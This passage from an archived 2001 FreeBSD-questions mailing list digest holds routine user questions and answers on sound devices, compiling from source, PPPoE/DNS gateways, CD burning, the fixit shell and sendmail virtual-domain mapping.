root. can i ignore this and go ahead with "MAKEDEV snd0"? or i will have to try and fix sndstat? tia. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 8:32: 8 2001 Delivered-To: freebsd-questions@freebsd.org Received: from Mail6.nc.rr.com (fe6.southeast.rr.com [24.93.67.53]) by hub.freebsd.org (Postfix) with ESMTP id 1DBA437B418 for ; Sat, 24 Nov 2001 08:28:00 -0800 (PST) Received: from i8k.babbleon.org ([66.57.85.154]) by Mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Sat, 24 Nov 2001 11:27:59 -0500 Content-Type: text/plain; charset="iso-8859-1" From: Brian T.Schellenberger To: "Philip Pereira" , Subject: Re: Traditionalist Installation Date: Sat, 24 Nov 2001 11:26:40 -0500 X-Mailer: KMail [version 1.2] References: <002201c174de$458b3fc0$7a8c01d4@wintellect.com> In-Reply-To: <002201c174de$458b3fc0$7a8c01d4@wintellect.com> MIME-Version: 1.0 Message-Id: <01112411264003.00791@i8k.babbleon.org> Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Saturday 24 November 2001 06:47, Philip Pereira wrote: > Hey Everyone! > > Am a "newbie" (part of the forum too) and love FreeBSD. I've had it only 3 > months, but can already re-compile my kernel (am please with myself). > > Just a quick question - I want to learn things the traditional way... Where > can I find some FreeBSD compatible applications and how can I compile / > install them on my system (avoiding the ports collection, etc.) I have no clue why you'd want to avoid the ports, but if you want to do so, just check the net for the source .tgz files of your favorite application, download, untar and unzip it, and then follow the make file. Or you can "cheat" and use te ports to figure out where the sources live. Mind you, I can't see what possible benefit there is in this; personally, I use the ports even when I modifiy the sources by hand . . . > > Cheers > > Phil. ---------------------------------------- Content-Type: text/html; charset="iso-8859-1"; name="Attachment: 1" Content-Transfer-Encoding: quoted-printable Content-Description: ---------------------------------------- -- Brian T. Schellenberger . . . . . . . bts@wnt.sas.com (work) Brian, the man from Babble-On . . . . bts@babbleon.org (personal) http://www.babbleon.org -------> Free Dmitry Sklyarov! (let him go home) <----------- http://www.eff.org http://www.programming-freedom.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 8:36:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200]) by hub.freebsd.org (Postfix) with ESMTP id D685A37B419 for ; Sat, 24 Nov 2001 08:32:32 -0800 (PST) Received: from [195.20.224.219] (helo=mrvdom03.schlund.de) by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2) id 167fj9-0004I3-00; Sat, 24 Nov 2001 17:32:27 +0100 Received: from pd90172e9.dip.t-dialin.net ([217.1.114.233]) by mrvdom03.schlund.de with esmtp (Exim 2.12 #2) id 167fj8-0001Jo-00; Sat, 24 Nov 2001 17:32:27 +0100 Date: Sat, 24 Nov 2001 15:30:27 +0000 (GMT) From: "P. U. (Uli) Kruppa" X-X-Sender: To: Cc: Subject: Re: PPPoE on DSL Clients In-Reply-To: <3.0.5.32.20011123232154.0100ffd0@mail.sage-american.com> Message-ID: <20011124152353.V288-100000@big> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Jack! You have to tell us, whether you run "user-land"-ppp or kernel-ppp . If you have got the first thing (that means you type something like # ppp YOURISP ) I can have a look at my configuration files how I "did" it. For kernel-ppp you have to ask the real administrators. Regards, Uli. On Fri, 23 Nov 2001 jacks@sage-american.com wrote: > Well.... finally got PPPoE on DSL working just fine on a FreeBSD server. > Only one problem left to solve and hope for a little more help. > > The BSD server/gateway (dynamic IP) can ping out and resolves addresses > without any problem, BUT, none of the client workstations can find anything > on the Internet. So, no browsing, email, ftp, etc. All stations can ping > each other. > > The clients can reach the Internet address (get email, FTP, browse, etc) > IF, it is put into the "etc/hosts" file, whether it is Win2K or other BSD > boxes.... each client points to the default 192.168.0.1 INTERNAL IP > assigned to the gateway box running the DSL. The resolv.conf file for the > DSL box has the proper nameservers for the ISP. DNS is enabled in ppp.conf. > NAT and gateway is enabled in rc.conf. > > If my config files will help, let me know.... > > BTW, this email is going out from a client, but I have my mail server IP in > the /etc/host. > > Best regards, > Jack L. Stone, > Server Admin > > Sage-American > http://www.sage-american.com > jacks@sage-american.com > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > ************************************ * P. U. Kruppa - Wuppertal * * Germany * * www.pukruppa.de www.2000d.de * ************************************ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 8:46:57 2001 Delivered-To: freebsd-questions@freebsd.org Received: from whale.sunbay.crimea.ua (whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id A2F8737B405 for ; Sat, 24 Nov 2001 08:42:49 -0800 (PST) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.6/8.11.2) id fAOGgKJ18074; Sat, 24 Nov 2001 18:42:20 +0200 (EET) (envelope-from ru) Date: Sat, 24 Nov 2001 18:42:20 +0200 From: Ruslan Ermilov To: Noel Cc: freebsd-questions@FreeBSD.ORG Subject: Re: cannot use /dev/sndstat Message-ID: <20011124184220.A17971@sunbay.com> References: <3BF57EA500182536@mail.fibertel.com.ar> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3BF57EA500182536@mail.fibertel.com.ar> User-Agent: Mutt/1.3.23i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, Nov 24, 2001 at 01:26:22PM -0300, Noel wrote: > hi. > > how can i use /dev/sndstat? i just recompiled my kernel to include support > for my sound card, and checking dmesg, the kernel sees my sound card as "pcm0 > : port 0xdc00-0xdc7f irq 9 at device > 11.0 on pci0". > > all i get when i try /dev/sndstat is "/dev/sndstat:permission denied" even > when i'm root. > > can i ignore this and go ahead with "MAKEDEV snd0"? or i will have to try and > fix sndstat? > cat /dev/sndstat Cheers, -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 9: 7:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from moutvdom01.kundenserver.de (moutvdom01.kundenserver.de [195.20.224.200]) by hub.freebsd.org (Postfix) with ESMTP id 7233237B41D for ; Sat, 24 Nov 2001 09:03:53 -0800 (PST) Received: from [195.20.224.208] (helo=mrvdom01.schlund.de) by moutvdom01.kundenserver.de with esmtp (Exim 2.12 #2) id 167g8b-0007xq-00; Sat, 24 Nov 2001 17:58:45 +0100 Received: from pd90172e9.dip.t-dialin.net ([217.1.114.233]) by mrvdom01.schlund.de with esmtp (Exim 2.12 #2) id 167g8a-0002KV-00; Sat, 24 Nov 2001 17:58:44 +0100 Date: Sat, 24 Nov 2001 15:56:47 +0000 (GMT) From: "P. U. (Uli) Kruppa" X-X-Sender: To: "Brian T.Schellenberger" Cc: Philip Pereira , Subject: Re: Traditionalist Installation In-Reply-To: <01112411264003.00791@i8k.babbleon.org> Message-ID: <20011124153814.F288-100000@big> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, 24 Nov 2001, Brian T.Schellenberger wrote: > On Saturday 24 November 2001 06:47, Philip Pereira wrote: > > Hey Everyone! > > > > Am a "newbie" (part of the forum too) and love FreeBSD. I've had it only 3 > > months, but can already re-compile my kernel (am please with myself). > > > > Just a quick question - I want to learn things the traditional way... Where > > can I find some FreeBSD compatible applications and how can I compile / > > install them on my system (avoiding the ports collection, etc.) > > I have no clue why you'd want to avoid the ports, but if you want to do so, > just check the net for the source .tgz files of your favorite application, > download, untar and unzip it, and then follow the make file. > > Or you can "cheat" and use te ports to figure out where the sources live. > > Mind you, I can't see what possible benefit there is in this; personally, I > use the ports even when I modifiy the sources by hand . . . It might be interesting though, to a newbie, to see how things work manually. Let's say you downloaded some "tarball" source.tar.gz (or sometimes source.tgz ) into your /usr/local . Then you type # tar zxf source.tar.gz to decompress (--> # man gzip) and unpack (--> # man tar) your sources. Then you will find a new directory called /usr/local/source . # cd /usr/local/source # ./configure to configure your sources and edit the Makefile. # make to compile them (sometimes you will need gnu-make instead of freebsd's make; it would be # gmake then) # make install to install your binaries. If everything went well, you can start your application by typing # source now. *But* this will only work smoothly with very well "caressed" sources. Very often you would have to edit or even patch things yourself. Ports will do this work for you. But I think you could try this with the text-browser lynx yourself. Good Luck! Uli. ************************************ * P. U. Kruppa - Wuppertal * * Germany * * www.pukruppa.de www.2000d.de * ************************************ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 9:42:59 2001 Delivered-To: freebsd-questions@freebsd.org Received: from paprika.michvhf.com (adsl-66-72-162-135.dsl.sfldmi.ameritech.net [66.72.162.135]) by hub.freebsd.org (Postfix) with SMTP id A2F1837B41C for ; Sat, 24 Nov 2001 09:38:55 -0800 (PST) Received: (qmail 73870 invoked by uid 1001); 24 Nov 2001 17:38:56 -0000 Date: Sat, 24 Nov 2001 12:38:56 -0500 (EST) From: Vince Vielhaber To: questions@freebsd.org Subject: PPPoE and a static IP Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I've gone thru the archives, handbook, and everything else I can find and still can't get this to work. I have two logins with Ameritech, one dynamically assigns the IP and one with a static IP. When I use the login for dynamic I connect and all works fine (using it now in fact). When I use the static login, in the interactive ppp program I get as far as two upper case P's and it drops. Ok, I figure they're not assigning the address on login so I'll put it in ppp.conf. I've tried all of these, none work: # set ifaddr 10.0.0.1/0 10.0.0.2/0 # set ifaddr 0 0 0 0 # set ifaddr 67.36.71.182 192.168.254.0-192.255.255.255 # set ifaddr 67.36.71.182/0 192.168.254.254/0 0 0 # set ifaddr 67.36.71.182 # set ifaddr 67.36.71.182 192.168.254.254 # set ifaddr 67.36.71.182/24 192.168.254.254/24 255.255.255.0 0.0.0.0 # set ifaddr 67.36.71.182/24 192.168.254.254/24 255.255.255.0 67.36.71.182/24 # set ifaddr $STATIC_IP $ISP_GATEWAY $ISP_NETMASK I comment out the ones I've tried so I don't keep trying the same thing over and over. They told me the address is 67.36.71.182 and the gateway is 192.168.254.254. I have all the forms of compressions disabled. Like I said, I can change the username and get a dynamic address. I've turned on all logging to local, here's the highlights after authentication: Physical: write Physical: 80 fd 01 01 00 0a 1a 04 78 00 01 02 ........x... Physical: write Physical: 80 21 01 01 00 10 03 06 43 24 47 b6 02 06 00 2d .!......C$G....- Physical: 0f 01 .. Physical: write Physical: c0 21 0a 00 00 08 4c 72 cd 1b .!....Lr.. Physical: read Physical: c0 21 05 df 00 04 .!.... Then as the last read statement instructs, it terminates. I've been thru RFC1661 to try and figure out what it's doing, or not doing. Does anyone have any ideas what may be wrong? I really hate to have to go and buy a router, I have much more flexibility with FreeBSD and I don't need another piece of hardware in that room! The version of FreeBSD is 4.1.1-REL but I upgraded ppp to include the built-in tcpmssd. Perhaps that has something to do with it? Vince. -- ========================================================================== Vince Vielhaber -- KA8CSH email: vev@michvhf.com http://www.pop4.net 56K Nationwide Dialup from $16.00/mo at Pop4 Networking Online Campground Directory http://www.camping-usa.com Online Giftshop Superstore http://www.cloudninegifts.com ========================================================================== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 10:18:59 2001 Delivered-To: freebsd-questions@freebsd.org Received: from postoffice.gilanet.com (mail.gilanet.com [216.234.216.41]) by hub.freebsd.org (Postfix) with ESMTP id C71DE37B419 for ; Sat, 24 Nov 2001 10:14:51 -0800 (PST) Received: from [216.234.218.125] by postoffice.gilanet.com (NTMail 7.00.0018/NU7117.01.96e0d587) with ESMTP id byulgaaa for FreeBSD-Questions@FreeBSD.ORG; Sat, 24 Nov 2001 11:16:43 -0700 Message-ID: <00ee01c17513$ec0d0830$0300a8c0@JMA11> From: "Webmaster" To: Subject: Subscribe Date: Sat, 24 Nov 2001 11:14:29 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Subscribe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 11: 6:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.nbrewer.com (sparge.nbrewer.com [208.42.68.70]) by hub.freebsd.org (Postfix) with ESMTP id C6D8A37B41C for ; Sat, 24 Nov 2001 11:02:06 -0800 (PST) Received: by mail.nbrewer.com (Postfix, from userid 1001) id 0BC934B7195; Sat, 24 Nov 2001 13:01:58 -0600 (CST) Date: Sat, 24 Nov 2001 13:01:58 -0600 From: Christopher Farley To: Phil R Cc: freebsd-questions@freebsd.org Subject: Re: cannot burn a CD with burncd Message-ID: <20011124130156.A48759@northernbrewer.com> Mail-Followup-To: Christopher Farley , Phil R , freebsd-questions@freebsd.org References: <3BFFC9BE.2070407@sympatico.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3BFFC9BE.2070407@sympatico.ca>; from t3xt@sympatico.ca on Sat, Nov 24, 2001 at 11:24:30AM -0500 Organization: Northern Brewer, St. Paul, MN Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Phil R (t3xt@sympatico.ca) wrote: > I have those errors on two BSD boxes with two different CDR!!! > (Yamaha 2200 20/10/40 and an old HP) > > #burncd -t -s4 -f /dev/acd0c data something.tar.gz fixate (or different > speed) You can only burn iso-9660 filesystems to a CD, not regular binary files. You need to install mkisofs from the ports, and read up on it! -- Christopher Farley www.northernbrewer.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 11:11:21 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mcqueen.wolfsburg.de (pns.wobline.de [212.68.68.5]) by hub.freebsd.org (Postfix) with ESMTP id D709637B41C for ; Sat, 24 Nov 2001 11:07:16 -0800 (PST) Received: from colt.ncptiddische.net (ppp-169.wobline.de [212.68.69.177]) by mcqueen.wolfsburg.de (8.11.3/8.11.3/tw-20010821) with ESMTP id fAOJ7DN28932; Sat, 24 Nov 2001 20:07:13 +0100 Received: from jodie.ncptiddische.net (jodie.ncptiddische.net [192.168.0.2]) by colt.ncptiddische.net (8.11.6/8.11.6) with ESMTP id fAOJ8Et43418; Sat, 24 Nov 2001 20:08:14 +0100 (CET) (envelope-from nils@tisys.org) Received: from jodie.ncptiddische.net (jodie.ncptiddische.net [192.168.0.2]) by jodie.ncptiddische.net (8.11.6/8.11.6) with ESMTP id fAOJ6a632034; Sat, 24 Nov 2001 20:07:12 +0100 (CET) (envelope-from nils@tisys.org) Date: Sat, 24 Nov 2001 20:06:36 +0100 (CET) From: Nils Holland To: Phil R Cc: freebsd-questions@FreeBSD.ORG Subject: Re: cannot burn a CD with burncd In-Reply-To: <3BFFC9BE.2070407@sympatico.ca> Message-ID: <20011124195852.U32004-100000@jodie.ncptiddische.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sat, 24 Nov 2001, Phil R wrote: > I have those errors on two BSD boxes with two different CDR!!! > (Yamaha 2200 20/10/40 and an old HP) > > #burncd -t -s4 -f /dev/acd0c data something.tar.gz fixate (or different > speed) Have a look at mkisofs in /usr/ports/sysutils/mkisofs. You will need to make an ISO image out of the files you want to burn before you can actually burn them. As far as the error messages you get at the end of the burn process go, you can most likely disregard them. I get them all of the time with an old Mitsumi burner, yet there are no problems with the Cds I burn. Having said that, I'd like to add the following: Exactly this very question where people try to burn "raw", i.e. non-ISOFS'ed files to a CD and then wonder why their CD doesn't work seems to turn up here at least once a week and at the most once per day. I'm currently not that informed about what's actually in the handbook, but could it be that the usage of burncd, as well as the need to create iso files before burning, is not really explained there and should be added? Or, is this question in the FAQ? It surely belongs there, as I have seen only very few questions being asked more often than this one. Greetings Nils Nils Holland Ti Systems - FreeBSD in Tiddische, Germany http://www.tisys.org * nils@tisys.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 11:13:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sage-american.com (sage-american.com [216.122.141.44]) by hub.freebsd.org (Postfix) with ESMTP id C36DC37B41D for ; Sat, 24 Nov 2001 11:09:35 -0800 (PST) Received: from SAGEONE (adsl-64-219-30-123.dsl.crchtx.swbell.net [64.219.30.123]) by sage-american.com (8.9.3/8.9.3) with SMTP id NAA10538; Sat, 24 Nov 2001 13:09:30 -0600 (CST) Message-Id: <3.0.5.32.20011124130942.01023830@mail.sage-american.com> X-Sender: jacks@mail.sage-american.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Sat, 24 Nov 2001 13:09:42 -0600 To: "P. U. (Uli) Kruppa" From: jacks@sage-american.com Subject: Re: PPPoE on DSL Clients Cc: In-Reply-To: <20011124152353.V288-100000@big> References: <3.0.5.32.20011123232154.0100ffd0@mail.sage-american.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG ...no, I'm way on down the road from that...it's alright at that spot. I found I just had one little ole thing missing... a local DNS named setup and bind to the BSD gateway.... now, it's forwarding DNS requests and caching... and BEST OF ALL... it's WORKING! ...all clients are now happy! ...and so am I. I really badly wanted to switch the server gateway from the Win2K to a FreeBSD... now I'm there..!!! ...runs like a daemon! Thanks for my friends on this list who helped on this.... frustrating but worth it to now have BSD. At 03:30 PM 11.24.2001 +0000, P. U. (Uli) Kruppa wrote: > >Hi Jack! > >You have to tell us, whether you run "user-land"-ppp or >kernel-ppp . If you have got the first thing (that means you >type something like # ppp YOURISP ) I can have a look at my >configuration files how I "did" it. >For kernel-ppp you have to ask the real administrators. > >Regards, > >Uli. > > > >On Fri, 23 Nov 2001 jacks@sage-american.com wrote: > >> Well.... finally got PPPoE on DSL working just fine on a FreeBSD server. >> Only one problem left to solve and hope for a little more help. >> >> The BSD server/gateway (dynamic IP) can ping out and resolves addresses >> without any problem, BUT, none of the client workstations can find anything >> on the Internet. So, no browsing, email, ftp, etc. All stations can ping >> each other. >> >> The clients can reach the Internet address (get email, FTP, browse, etc) >> IF, it is put into the "etc/hosts" file, whether it is Win2K or other BSD >> boxes.... each client points to the default 192.168.0.1 INTERNAL IP >> assigned to the gateway box running the DSL. The resolv.conf file for the >> DSL box has the proper nameservers for the ISP. DNS is enabled in ppp.conf. >> NAT and gateway is enabled in rc.conf. >> >> If my config files will help, let me know.... >> >> BTW, this email is going out from a client, but I have my mail server IP in >> the /etc/host. >> >> Best regards, >> Jack L. Stone, >> Server Admin >> >> Sage-American >> http://www.sage-american.com >> jacks@sage-american.com >> >> To Unsubscribe: send mail to majordomo@FreeBSD.org >> with "unsubscribe freebsd-questions" in the body of the message >> > >************************************ >* P. U. Kruppa - Wuppertal * >* Germany * >* www.pukruppa.de www.2000d.de * >************************************ > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > > Best regards, Jack L. Stone, Server Admin Sage-American http://www.sage-american.com jacks@sage-american.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 11:16:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts16-srv.bellnexxia.net (tomts16.bellnexxia.net [209.226.175.4]) by hub.freebsd.org (Postfix) with ESMTP id A405237B41A for ; Sat, 24 Nov 2001 11:12:41 -0800 (PST) Received: from khan.anarcat.dyndns.org ([65.94.177.56]) by tomts16-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20011124191240.DFNE11528.tomts16-srv.bellnexxia.net@khan.anarcat.dyndns.org>; Sat, 24 Nov 2001 14:12:40 -0500 Received: from anarcat.dyndns.org (shall.anarcat.dyndns.org [192.168.0.1]) by khan.anarcat.dyndns.org (Postfix) with ESMTP id 9A1571895; Sat, 24 Nov 2001 14:14:36 -0500 (EST) Message-ID: <3BFFF17E.D2E2F7C1@anarcat.dyndns.org> Date: Sat, 24 Nov 2001 14:14:06 -0500 From: John Smith X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: fr-CA,fr,en MIME-Version: 1.0 To: Simon Dick Cc: Jim Conner , cjclark@alum.mit.edu, FreeBSD Questions Subject: Re: can't do reverse dns with /etc/hosts References: <5.1.0.14.0.20011123164749.0245ec60@mail.enterit.com> <20011114173647.D66694@blossom.cjclark.org> <20011115012039.GA61093@shall.anarcat.dyndns.org> <20011114173647.D66694@blossom.cjclark.org> <5.1.0.14.0.20011123164749.0245ec60@mail.enterit.com> <5.1.0.14.0.20011123172728.02c61518@mail.enterit.com> <20011124103734.GB386@irrelevant.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Simon Dick wrote: > > I guess my method of just using ping and seeing what IP it tries > to ping won't be suitable for this? :) no because I want to test reverse DNS. ping doesn't lookup the name of a given address, IIRC. a. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 11:20:17 2001 Delivered-To: freebsd-questions@freebsd.org Received: from wildharerc.com (c796032-a.flrmnd1.tx.home.com [24.250.4.186]) by hub.freebsd.org (Postfix) with ESMTP id 19BA737B418 for ; Sat, 24 Nov 2001 11:16:15 -0800 (PST) Received: from localhost (bsdlist@localhost) by wildharerc.com (8.11.6/8.11.6) with ESMTP id fAOIqf105019 for ; Sat, 24 Nov 2001 12:52:41 -0600 (CST) (envelope-from bsdlist@wildharerc.com) Date: Sat, 24 Nov 2001 12:52:35 -0600 (CST) From: list subscriber To: Subject: configuring email for virtual hosts Message-ID: <20011124124553.M4994-100000@wildharerc.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I have a 4.4 Freebsd system that I use as a mail server. I am accepting mail for virtual domains, and something is not working. In my /etc/mail/local-host-names, I have defined a domain name (xyz.com) In /etc/mail/virtusertable I have a line @xyz.com joeblow What I want to happen is mail for any name @ xyz.com to go into the mailbox joeblow. What actually happens is it will accept mail for joeblow@xyz.com is accepted correctly, but anything else is rejected. How do I get it to route everything for a domain to a catch-all mailbox. Everything is pretty much as installed, I have not made any changes to sendmail.cf or anything esoteric. TF To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 11:32:34 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.nbrewer.com (sparge.nbrewer.com [208.42.68.70]) by hub.freebsd.org (Postfix) with ESMTP id 174AE37B405 for ; Sat, 24 Nov 2001 11:28:32 -0800 (PST) Received: by mail.nbrewer.com (Postfix, from userid 1001) id EFA9D4B7195; Sat, 24 Nov 2001 13:28:26 -0600 (CST) Date: Sat, 24 Nov 2001 13:28:26 -0600 From: Christopher Farley To: questions@freebsd.org Subject: fixit.flp Message-ID: <20011124132824.B48759@northernbrewer.com> Mail-Followup-To: Christopher Farley , questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Organization: Northern Brewer, St. Paul, MN Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I've been using the fixit shell from the 'live filesystem CD' (the second CD in the standard FreeBSD iso-images). When going into the fixit shell, my ad4 disk shows up, but without any slice information. Since there is no MAKEDEV in /dev, I need to do this: cp /mnt2/dev/MAKEDEV /dev Even then, the MAKEDEV script will fail due to a missing group, so I then do this: cp /mnt2/etc/group /etc/group Then I can `sh MAKEDEV` the disks with the proper slice entries. This works, but I'm wondering if there is a 'more correct' way to mount my disks in the fixit shell. Is there any fixit.flp documentation? -- Christopher Farley www.northernbrewer.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 11:44: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ptavv.es.net (ptavv.es.net [198.128.4.29]) by hub.freebsd.org (Postfix) with ESMTP id B821837B416 for ; Sat, 24 Nov 2001 11:39:57 -0800 (PST) Received: from ptavv.es.net (localhost [127.0.0.1]) by ptavv.es.net (8.10.1/8.10.1) with ESMTP id fAOJdvd28992 for ; Sat, 24 Nov 2001 11:39:57 -0800 (PST) Message-Id: <200111241939.fAOJdvd28992@ptavv.es.net> To: freebsd-questions@freebsd.org Subject: Any way to use xsane with HP5100C scanner? Date: Sat, 24 Nov 2001 11:39:57 -0800 From: "Kevin Oberman" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I would like to connect my HP5100C scanner to my FreeBSD system, but I see that the driver requires the ppSCSI driver to work and that is a Linux driver. I see no reference to any way to make FreeBSD do the job. Does anyone know if there is any way to use my HP scanner with FreeBSD? R. Kevin Oberman, Network Engineer Energy Sciences Network (ESnet) Ernest O. Lawrence Berkeley National Laboratory (Berkeley Lab) E-mail: oberman@es.net Phone: +1 510 486-8634 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Nov 24 11:57: 2 2001 Delivered-To: freebsd-questions@freebsd.org Received: from ren.sasknow.com (ren.sasknow.com [207.195.92.131]) by hub.freebsd.org (Postfix) with ESMTP id 17CEC37B41E for ; Sat, 24 Nov 2001 11:52:59 -0800 (PST) Received: from localhost (ryan@localhost) by ren.sasknow.com (8.9.3/8.9.3) with ESMTP id NAA51170; Sat, 24 Nov 2001 13:52:29 -0600 (CST) (envelope-from ryan@sasknow.com) Date: Sat, 24 Nov 2001 13:52:29 -0600 (CST) From: Ryan Thompson To: list subscriber Cc: freebsd-questions@FreeBSD.ORG Subject: Re: configuring email for virtual hosts In-Reply-To: <20011124124553.M4994-100000@wildharerc.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG list subscriber wrote to freebsd-questions@FreeBSD.ORG: > [...] > In my /etc/mail/local-host-names, I have defined a domain name > (xyz.com) > > In /etc/mail/virtusertable I have a line > > @xyz.com joeblow > > What I want to happen is mail for any name @ xyz.com to go into the > mailbox joeblow. It looks like you've made the right additions to the config files, but you have most likely neglected to rebuild the databases. Sendmail doesn't read the config files directly... it expects database files to exist with that information. For virtusertable, try the following: /usr/sbin/makemap hash /etc/mail/virtusertable < /etc/mail/virtusertable kill -1 `cat /var/run/sendmail.pid` (The second line rehups sendmail, so it will re-read the databases). > What actually happens is it will accept mail for joeblow@xyz.com is > accepted correctly, but anything else is rejected. This is the default behaviour. Sendmail is basically not caring about the @xyz.com portion, and is simply mapping to local usernames. root@xyz.com, for instance, will be saved to root's mailbox. In other words, this is a 